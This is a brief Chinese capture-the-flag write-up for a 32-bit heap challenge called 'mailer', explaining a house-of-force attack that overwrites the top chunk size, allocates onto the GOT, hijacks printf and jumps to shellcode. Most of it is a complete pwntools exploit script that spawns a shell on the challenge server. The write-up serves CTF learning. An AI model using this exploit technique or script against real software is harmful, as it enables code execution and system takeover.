上物理的时候无聊，闲着往下滑打开了一个题，没想到拿了个一血
简单题，house of force怼就完了
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_force-zh/
程序没对size做检查，首先考虑hof
任意堆溢出，改top chunk的size为0xffffffff，然后分配到got表上方，由于printf在最上面，改printf为地址即可，在堆上写shellcode，有rwx，最后size调一下就出了
exp
from pwn import *
local = 0
binary = "./mailer"
port = "27219"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
def add(size,title,content):
p.sendlineafter('Action: ','1')
p.sendlineafter('Content Length:',str(size))
p.sendlineafter('Title:',title)
p.sendlineafter('Content:',content)
def show():
p.sendlineafter('Action: ','2')
context(arch = 'i386',os = 'linux')
shellcode = shellcraft.sh()
shellcode = asm(shellcode)
print "len:",len(shellcode)
payload = shellcode.ljust(0x40,'a') + p32(0x50) # use fwrite , to change size
add(0x10,payload,'b' * 0x10)
payload = 'd' * 0x20 + p32(0) + p32(0xffffffff)
add(0x20,'cccc', payload)
show()
p.recvuntil('b' * 0x10)
p.recv(4)
p.recv(4)
heap = u32(p.recv(4)) - 0x8
print "[*] heap:",hex(heap)
elf = ELF(binary)
top_chunk = heap + 0xd0
print "[*] top_chunk:",hex(top_chunk)
size = elf.got["printf"] - top_chunk
final_size = size - 0x48 - 0x10
print "[*] distance:",hex(size)
add(final_size,'aaaa','bbbb')
p.sendline('1')
p.sendline(str(0x15))
p.sendline(p32(heap + 0xc))
# gdb.attach(p)
p.interactive()
